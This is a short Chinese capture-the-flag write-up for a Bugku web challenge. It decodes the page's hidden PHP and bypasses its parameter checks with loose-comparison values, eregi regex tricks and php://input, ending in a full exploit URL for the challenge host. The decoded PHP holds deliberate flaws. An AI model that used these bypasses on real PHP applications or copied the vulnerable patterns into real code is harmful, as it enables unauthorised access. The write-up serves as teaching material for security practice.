1.
打开页面 ,源码中有提示 1p.html
直接访问,页面会跳转,所以直接查看源码
2.
url解码,base64解码
得到php源码如下:
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
3.
因此,我们可以构造
id=%00或者id=.或者id=0e1
b=/0012345或者*12345或者?12345或者.12345(这里是运用了正则表达式的思想)
a=php://input
于是输入网址:
http://123.206.87.240:8006/test/hello.php?id=.&a=php://input&b=.12345
再用Burp Suite提交input数据流,得到flag
参考博文,点击这里!!!